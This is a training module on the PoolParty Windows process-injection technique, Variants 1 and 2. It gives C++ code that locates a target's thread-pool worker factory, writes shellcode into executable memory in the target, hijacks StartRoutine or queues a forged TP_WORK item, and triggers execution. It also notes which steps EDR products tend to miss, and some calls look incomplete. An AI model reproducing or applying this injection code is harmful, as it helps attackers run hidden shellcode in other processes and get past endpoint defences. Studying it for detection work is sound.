Module 4: Worker Factory & TP_WORK Variants
PoolParty Variants 1–2: StartRoutine hijacking and TP_WORK item insertion into the target’s thread pool.
Module Objective
Master the first two PoolParty variants: hijacking the worker factory’s StartRoutine to execute shellcode via a new worker thread (Variant 1), and inserting a crafted TP_WORK item into the target pool’s task queue so that an existing worker thread dispatches the attacker’s callback (Variant 2). Each variant exploits a different entry point into the thread pool execution path.
1. Shared Setup: Locating Target Handles
All three variants require the same preliminary steps to locate the target process’s thread pool infrastructure:
C++// Step 1: Open the target process
HANDLE hProcess = OpenProcess(
PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION |
PROCESS_DUP_HANDLE | PROCESS_QUERY_INFORMATION,
FALSE, targetPid);
// Step 2: Enumerate all handles in the system
PSYSTEM_HANDLE_INFORMATION handleInfo = NULL;
ULONG bufferSize = 0x10000;
do {
handleInfo = (PSYSTEM_HANDLE_INFORMATION)malloc(bufferSize);
status = NtQuerySystemInformation(
SystemHandleInformation, handleInfo, bufferSize, &bufferSize);
if (status == STATUS_INFO_LENGTH_MISMATCH) {
free(handleInfo);
bufferSize *= 2;
}
} while (status == STATUS_INFO_LENGTH_MISMATCH);
// Step 3: Find Worker Factory handles belonging to target PID
for (ULONG i = 0; i < handleInfo->NumberOfHandles; i++) {
SYSTEM_HANDLE_TABLE_ENTRY_INFO entry = handleInfo->Handles[i];
if (entry.UniqueProcessId != targetPid) continue;
if (entry.ObjectTypeIndex != workerFactoryTypeIndex) continue;
// Duplicate the handle into our process
HANDLE dupHandle;
DuplicateHandle(hProcess, (HANDLE)(ULONG_PTR)entry.HandleValue,
GetCurrentProcess(), &dupHandle,
0, FALSE, DUPLICATE_SAME_ACCESS);
// Query to verify it's the thread pool worker factory
WORKER_FACTORY_BASIC_INFORMATION wfbi;
NtQueryInformationWorkerFactory(dupHandle,
WorkerFactoryBasicInformation,
&wfbi, sizeof(wfbi), NULL);
// Save the handle and information for the variant-specific exploit
targetWorkerFactory = dupHandle;
targetIocp = wfbi.CompletionPort;
targetStartRoutine = wfbi.StartRoutine;
targetPoolPtr = wfbi.StartParameter;
}
2. Variant 1: Worker Factory StartRoutine Hijack
This is the most straightforward variant. It overwrites the worker factory’s StartRoutine so that new worker threads start executing attacker-controlled code instead of TppWorkerThread.
Variant 1 Flow
VirtualAllocEx + WriteProcessMemory
NtSetInformationWorkerFactory
Increase MinThreadCount
New worker thread
2.1 Implementation
C++// Variant 1: Worker Factory StartRoutine Hijack
// Step 1: Allocate memory in target for shellcode
LPVOID remoteShellcode = VirtualAllocEx(
hProcess, NULL, shellcodeSize,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProcess, remoteShellcode,
shellcode, shellcodeSize, NULL);
// Step 2: Overwrite the worker factory's StartRoutine
// The StartRoutine is set via NtSetInformationWorkerFactory
// with WorkerFactoryBasicInformation class
// We need to craft a WORKER_FACTORY_BASIC_INFORMATION with
// the StartRoutine field pointing to our shellcode
// Note: We modify the StartRoutine by setting it in the
// worker factory information structure
NtSetInformationWorkerFactory(
hWorkerFactory,
WorkerFactoryBasicInformation, // Info class 7
&remoteShellcode, // New StartRoutine
sizeof(PVOID));
// Step 3: Force creation of a new worker thread
// Increase MinimumThreadCount to trigger the factory
// to create an additional thread
ULONG newMinThreads = currentThreadCount + 1;
NtSetInformationWorkerFactory(
hWorkerFactory,
WorkerFactoryThreadMinimum, // Info class 1
&newMinThreads,
sizeof(ULONG));
// The new worker thread starts at our shellcode!
Variant 1 Caveat
After the shellcode thread starts, the worker factory’s StartRoutine remains modified. Any subsequent worker threads created by the pool will also start at the shellcode address. A more careful implementation would restore the original StartRoutine after the first shellcode thread has started, or ensure the shellcode itself sets it back.
3. Variant 2: TP_WORK Item Insertion
Instead of hijacking thread creation, Variant 2 inserts a fully crafted TP_WORK structure into the target’s thread pool task queue. An existing worker thread picks it up and executes the callback.
Variant 2 Flow
+ craft TP_WORK
Modify TP_POOL task list
NtSetIoCompletion
Worker dispatches
3.1 Crafting the TP_WORK Structure
C++// Variant 2: TP_WORK Insertion
// Step 1: Allocate and write shellcode
LPVOID remoteShellcode = VirtualAllocEx(hProcess, NULL,
shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProcess, remoteShellcode, shellcode,
shellcodeSize, NULL);
// Step 2: Read the target's TP_POOL to get queue addresses
// We know the TP_POOL address from the worker factory query
TP_POOL remotePool;
ReadProcessMemory(hProcess, targetPoolPtr, &remotePool,
sizeof(TP_POOL), NULL);
// Step 3: Craft a TP_WORK structure in the target
// The Task.WorkCallback must point to our shellcode
TP_WORK fakeWork = { 0 };
fakeWork.Task.WorkCallback = (PTP_WORK_CALLBACK)remoteShellcode;
fakeWork.Task.Context = NULL;
fakeWork.Pool = (PTP_POOL)targetPoolPtr;
// Allocate space for the fake work item in the target
LPVOID remoteWork = VirtualAllocEx(hProcess, NULL,
sizeof(TP_WORK), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
WriteProcessMemory(hProcess, remoteWork, &fakeWork,
sizeof(TP_WORK), NULL);
// Step 4: Insert the work item into the pool's task queue
// This involves modifying the LIST_ENTRY links in the target's
// TP_POOL.TaskQueue to include our fake TP_WORK
TppInsertWorkItemIntoQueue(hProcess, targetPoolPtr, remoteWork);
3.2 Triggering Execution
C++// Step 5: Post a completion packet to the IOCP to wake a worker
// The worker will find our work item in the queue and dispatch it
// Duplicate the target's IOCP handle into our process
HANDLE localIocp;
DuplicateHandle(hProcess, remotePool.CompletionPort,
GetCurrentProcess(), &localIocp,
0, FALSE, DUPLICATE_SAME_ACCESS);
// Post a completion packet to wake a worker thread
NtSetIoCompletion(localIocp, (ULONG_PTR)remoteWork,
NULL, STATUS_SUCCESS, 0);
// A worker thread wakes up, finds our TP_WORK in the queue,
// and calls fakeWork.Task.WorkCallback -> our shellcode
4. Comparison of Variants 1 and 2
| Property | Variant 1 (StartRoutine) | Variant 2 (TP_WORK Insert) |
|---|---|---|
| Execution context | New worker thread | Existing worker thread |
| Key API | NtSetInformationWorkerFactory | NtSetIoCompletion |
| IOCP interaction | None | Posts completion packet |
| Queue modification | None | Linked list manipulation |
| Trigger | New thread created by factory | Worker wakes from IOCP |
| Timing control | Immediate (on thread create) | Immediate (IOCP post wakes thread) |
| Side effects | StartRoutine changed for future threads | Extra item in queue |
5. Detection Considerations
From a defensive perspective, these variants present different detection challenges:
What EDRs See (or Don’t See)
- Variant 1 —
NtSetInformationWorkerFactoryis not commonly hooked by EDRs. Thread creation through the worker factory bypassesPsSetCreateThreadNotifyRoutinein some configurations because the thread is created by the kernel’s worker factory machinery, not byNtCreateThreadEx. - Variant 2 —
NtSetIoCompletionis a standard I/O API used by thousands of applications. It is not typically considered an injection vector. The worker thread’s call stack shows a cleanTppWorkerThreadorigin.
Knowledge Check
Q1: How does Variant 1 trigger execution of the injected shellcode?
Q2: What is the key difference between Variant 1 and Variant 2?
Q3: Why is NtSetInformationWorkerFactory effective as an injection vector?